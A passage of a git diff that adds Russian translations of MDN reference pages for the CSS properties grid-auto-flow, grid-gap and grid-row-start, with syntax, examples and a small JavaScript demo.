+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Properties</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glossary</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+   <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ru/web/css/grid-auto-flow/index.html b/files/ru/web/css/grid-auto-flow/index.html
new file mode 100644
index 0000000000..1fdf76af20
--- /dev/null
+++ b/files/ru/web/css/grid-auto-flow/index.html
@@ -0,0 +1,207 @@
+---
+title: grid-auto-flow
+slug: Web/CSS/grid-auto-flow
+translation_of: Web/CSS/grid-auto-flow
+---
+<p>CSS-свойство управляет поведением автоматически размещаемых элементов, точно указывая, как они попадают в сетку.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/grid-auto-flow.html")}}</div>
+
+
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: css no-line-numbers notranslate">/* Ключевые свойства и значения */
+grid-auto-flow: row;
+grid-auto-flow: column;
+grid-auto-flow: dense;
+grid-auto-flow: row dense;
+grid-auto-flow: column dense;
+
+/* Глобальные значения */
+grid-auto-flow: inherit;
+grid-auto-flow: initial;
+grid-auto-flow: unset;
+</pre>
+
+<p>Свойство можно использовать в двух вариантах:</p>
+
+<ul>
+ <li>с одним ключевым значением: <code>row</code>, <code>column</code>, или <code>dense</code>.</li>
+ <li>с двумя значениями: <code>row dense</code> или <code>column dense</code>.</li>
+</ul>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>row</code></dt>
+ <dd>Ключевое слово, указывающее размещать элементы, заполняя поочередно каждую строку и добавляя новые строки по мере необходимости. Это значение используется по умолчанию.</dd>
+ <dt><code>column</code></dt>
+ <dd>Ключевое слово, указывающее размещать элементы, заполняя поочередно каждый столбец и добавляя новые столбцы по мере необходимости.</dd>
+ <dt><code>dense</code></dt>
+ <dd>Ключевое слово, указывающее заполнять элементами свободное пространство сетки. Это может привести к нарушению порядка, т.к. элементы будут выстраиваться не в соответствии со своим расположением, а в соответсвии с размером.</dd>
+ <dd><br>
+ Если свойство не используется, алгоритм разместит элементы строго по порядку, вне зависимости от наличия свободных ячеек.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html notranslate">&lt;div id="grid"&gt;
+  &lt;div id="item1"&gt;&lt;/div&gt;
+  &lt;div id="item2"&gt;&lt;/div&gt;
+  &lt;div id="item3"&gt;&lt;/div&gt;
+  &lt;div id="item4"&gt;&lt;/div&gt;
+  &lt;div id="item5"&gt;&lt;/div&gt;
+&lt;/div&gt;
+&lt;select id="direction" onchange="changeGridAutoFlow()"&gt;
+  &lt;option value="column"&gt;column&lt;/option&gt;
+  &lt;option value="row"&gt;row&lt;/option&gt;
+&lt;/select&gt;
+&lt;input id="dense" type="checkbox" onchange="changeGridAutoFlow()"&gt;
+&lt;label for="dense"&gt;dense&lt;/label&gt;
+</pre>
+
+<h3 id="CSS_Content">CSS Content</h3>
+
+<pre class="brush: css; highlight[7] notranslate">#grid {
+  height: 200px;
+  width: 200px;
+  display: grid;
+  grid-gap: 10px;
+  grid-template: repeat(4, 1fr) / repeat(2, 1fr);
+  grid-auto-flow: column;  /* or 'row', 'row dense', 'column dense' */
+}
+
+#item1 {
+  background-color: lime;
+  grid-row-start: 3;
+}
+
+#item2 {
+  background-color: yellow;
+}
+
+#item3 {
+  background-color: blue;
+}
+
+#item4 {
+  grid-column-start: 2;
+  background-color: red;
+}
+
+#item5 {
+  background-color: aqua;
+}</pre>
+
+<pre class="brush: js; hidden notranslate">function changeGridAutoFlow() {
+  var grid = document.getElementById("grid");
+  var direction = document.getElementById("direction");
+  var dense = document.getElementById("dense");
+  var gridAutoFlow = direction.value === "row" ? "row" : "column";
+
+  if (dense.checked) {
+    gridAutoFlow += " dense";
+  }
+
+  grid.style.gridAutoFlow = gridAutoFlow;
+}</pre>
+
+<p>{{EmbedLiveSample("Пример", "200px", "230px")}}</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Grid", "#propdef-grid-auto-flow", "grid-auto-flow")}}</td>
+   <td>{{Spec2("CSS3 Grid")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+
+
+<p>{{Compat("css.properties.grid-auto-flow")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Related CSS properties: {{cssxref("grid-auto-rows")}}, {{cssxref("grid-auto-columns")}}, {{cssxref("grid")}}</li>
+ <li>Grid Layout Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></em></li>
+ <li>Video tutorial: <em><a href="http://gridbyexample.com/video/series-auto-placement-order/">Introducing Grid auto-placement and order</a></em></li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guides</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Properties</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glossary</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+   <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ru/web/css/grid-gap/index.html b/files/ru/web/css/grid-gap/index.html
new file mode 100644
index 0000000000..b32f0c2410
--- /dev/null
+++ b/files/ru/web/css/grid-gap/index.html
@@ -0,0 +1,193 @@
+---
+title: grid-gap
+slug: Web/CSS/grid-gap
+translation_of: Web/CSS/gap
+---
+<p>{{Deprecated_Header}}</p>
+
+<div class="note">
+<p><strong>Примечание</strong>. Свойство CSS с разделительной сеткой было переименовано в свойство prefix-less {{cssxref('gap')}}.</p>
+</div>
+
+<p>Свойство CSS <strong><code>grid-gap</code></strong> является сокращенным свойством для {{cssxref("grid-row-gap")}} и {{cssxref("grid-column-gap")}}, определяющего желоба между строками и столбцами сетки.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/grid-gap.html")}}</div>
+
+<p class="hidden">Источник этого интерактивного примера хранится в репозитории GitHub. Если вы хотите внести свой вклад в проект интерактивных примеров, скопируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам запрос на перенос.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: css no-line-numbers">/* Одно &lt;length&gt; значение */
+grid-gap: 20px;
+grid-gap: 1em;
+grid-gap: 3vmin;
+grid-gap: 0.5cm;
+
+/* Одно &lt;percentage&gt; значение */
+grid-gap: 16%;
+grid-gap: 100%;
+
+/* Два &lt;length&gt; значения */
+grid-gap: 20px 10px;
+grid-gap: 1em 0.5em;
+grid-gap: 3vmin 2vmax;
+grid-gap: 0.5cm 2mm;
+
+/* Один или два &lt;percentage&gt; значения */
+grid-gap: 16% 100%;
+grid-gap: 21px 82%;
+
+/* calc() значения */
+grid-gap: calc(10% + 20px);
+grid-gap: calc(20px + 10%) calc(10% - 5px);
+
+/* Глобальные значения */
+grid-gap: inherit;
+grid-gap: initial;
+grid-gap: unset;
+</pre>
+
+<p>Это свойство указывается как значение для <code>&lt;'grid-row-gap'&gt;</code> , за которым необязательно следует значение для <code>&lt;'grid-column-gap'&gt;</code>. Если <code>&lt;'grid-column-gap'&gt;</code> опущено, для него устанавливается то же значение, что и <code>&lt;'grid-row-gap'&gt;</code>.</p>
+
+<p>Каждое из свойств <code>&lt;'grid-row-gap'&gt;</code> и <code>&lt;'grid-column-gap'&gt;</code> указываются как <code>&lt;length&gt;</code> или <code>&lt;percentage&gt;</code>.</p>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Ширина отступа, разделяющего линии сетки.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Ширина отступа, разделяющего линии сетки относительно размеров элемента.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="HTML_Контент">HTML Контент</h3>
+
+<pre class="brush: html">&lt;div id="grid"&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS_Контент">CSS Контент</h3>
+
+<pre class="brush: css; highlight[5]">#grid {
+  display: grid;
+  height: 200px;
+  grid-template: repeat(3, 1fr) / repeat(3, 1fr);
+  grid-gap: 20px 5px;
+}
+
+#grid &gt; div {
+  background-color: lime;
+}
+</pre>
+
+<p>{{EmbedLiveSample("Example", "100%", "200px")}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Box Alignment", "#propdef-grid-gap", "grid-gap")}}</td>
+   <td>{{Spec2("CSS3 Box Alignment")}}</td>
+   <td>Устарело в пользу <code><a href="/en-US/docs/Web/CSS/gap">gap</a></code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Grid", "#gutters", "grid-gap")}}</td>
+   <td>{{Spec2("CSS3 Grid")}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("css.properties.grid-gap")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Prefixless CSS equivalents: {{cssxref("row-gap")}}, {{cssxref("column-gap")}}, {{cssxref("gap")}}</li>
+ <li>Related CSS properties: {{cssxref("grid-row-gap")}}, {{cssxref("grid-column-gap")}}</li>
+ <li>Grid Layout Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout#Gutters">Basic concepts of grid layout - Gutters</a></em></li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guides</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Properties</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glossary</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+   <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ru/web/css/grid-row-start/index.html b/files/ru/web/css/grid-row-start/index.html
new file mode 100644
index 0000000000..99db2ff61d
--- /dev/null
+++ b/files/ru/web/css/grid-row-start/index.html
@@ -0,0 +1,230 @@
+---
+title: grid-row-start
+slug: Web/CSS/grid-row-start
+translation_of: Web/CSS/grid-row-start
+---
+<p>Свойство CSS <strong><code>grid-row-start</code></strong> определяет начальную позицию элемента грид в строке, добавляя линию, span или ничего (автоматически) к его расположению в сетке, тем самым определяя начальный край inline-элемента его {{glossary("grid areas", "grid area")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/grid-row-start.html")}}</div>
+
+
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: css no-line-numbers">/* Keyword value */
+grid-row-start: auto;
+
+/* &lt;custom-ident&gt; values */
+grid-row-start: somegridarea;
+
+/* &lt;integer&gt; + &lt;custom-ident&gt; values */
+grid-row-start: 2;
+grid-row-start: somegridarea 4;
+
+/* span + &lt;integer&gt; + &lt;custom-ident&gt; values */
+grid-row-start: span 3;
+grid-row-start: span somegridarea;
+grid-row-start: 5 somegridarea span;
+
+/* Global values */
+grid-row-start: inherit;
+grid-row-start: initial;
+grid-row-start: unset;
+</pre>
+
+<p>This property is specified as a single <code>&lt;grid-line&gt;</code> value. A <code>&lt;grid-line&gt;</code> value can be specified as:</p>
+
+<ul>
+ <li>either the <code>auto</code> keyword</li>
+ <li>or a <code>&lt;custom-ident&gt;</code> value</li>
+ <li>or an <code>&lt;integer&gt;</code> value</li>
+ <li>or both <code>&lt;custom-ident&gt;</code> and <code>&lt;integer&gt;</code>, separated by a space</li>
+ <li>or the keyword <code>span</code> together with either a <code>&lt;custom-ident&gt;</code> or an <code>&lt;integer&gt;</code> or both.</li>
+</ul>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Ключевое слово, указывающее, что свойство никак не влияет на размещение элемента сетки, обозначающее автоматическое размещение, автоматический диапазон или диапазон по умолчанию, равный 1.</dd>
+ <dt><code>&lt;custom-ident&gt;</code></dt>
+ <dd>Если есть именованная строка с именем '&lt;custom-ident&gt;-start', он вносит первую такую ​​строку в размещение элемента сетки.</dd>
+ <dd>
+ <p class="note"><strong>Note:</strong> Named grid areas automatically generate implicit named lines of this form, so specifying <code>grid-row-start: foo;</code> will choose the start edge of that named grid area (unless another line named <code>foo-start</code> was explicitly specified before it).</p>
+
+ <p>В противном случае это обрабатывается так, как если бы целое число 1 было указано вместе с <code>&lt;custom-ident&gt;</code>.</p>
+ </dd>
+ <dt><code>&lt;integer&gt; &amp;&amp; &lt;custom-ident&gt;?</code></dt>
+ <dd>Вносит n-ю линию сетки в размещение элемента сетки. Если задано отрицательное целое число, вместо этого начинается обратный отсчет, начиная с конечного края явной сетки. Если имя задано как &lt;custom-<code>ident</code>&gt;, подсчитываются только строки с этим именем. Если существует недостаточно строк с таким именем, предполагается, что все неявные линии сетки имеют это имя для нахождения этой позиции.</dd>
+ <dd>
+ <p>An {{cssxref("integer")}} value of <code>0</code> is invalid.</p>
+ </dd>
+ <dt><code>span &amp;&amp; [ &lt;integer&gt; || &lt;custom-ident&gt; ]</code></dt>
+ <dd>Contributes a grid span to the grid item’s placement; such that the row start edge of the grid item’s grid area is n lines from the end edge.
+ <p>If a name is given as a &lt;custom-ident&gt;, only lines with that name are counted. If not enough lines with that name exist, all implicit grid lines on the side of the explicit grid, corresponding to the search direction, are assumed to have that name for the purpose of counting this span.</p>
+
+ <p>If the &lt;integer&gt; is omitted, it defaults to <code>1</code>. Negative integers or 0 are invalid.</p>
+
+ <p>The <code>&lt;custom-ident&gt;</code> cannot take the <code>span</code> value.</p>
+ </dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="box1"&gt;One&lt;/div&gt;
+  &lt;div class="box2"&gt;Two&lt;/div&gt;
+  &lt;div class="box3"&gt;Three&lt;/div&gt;
+  &lt;div class="box4"&gt;Four&lt;/div&gt;
+  &lt;div class="box5"&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: 100px;
+}
+
+.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+}
+
+.box2 {
+  grid-column-start: 1;
+  grid-row-start: 3;
+  grid-row-end: 5;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+
+.nested {
+  border: 2px solid #ffec99;
+  border-radius: 5px;
+  background-color: #fff9db;
+  padding: 1em;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Examples', '230', '420') }}</p>
+
+
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Grid", "#propdef-grid-row-start", "grid-row-start")}}</td>
+   <td>{{Spec2("CSS3 Grid")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+
+
+<p>{{Compat("css.properties.grid-row-start")}}</p>
+
+
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Related CSS properties: {{cssxref("grid-row-end")}}, {{cssxref("grid-row")}}, {{cssxref("grid-column-start")}}, {{cssxref("grid-column-end")}}, {{cssxref("grid-column")}}</li>
+ <li>Grid Layout Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement with CSS Grid</a></em></li>
+ <li>Video tutorial: <em><a href="http://gridbyexample.com/video/series-line-based-placement/">Line-based placement</a></em></li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guides</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
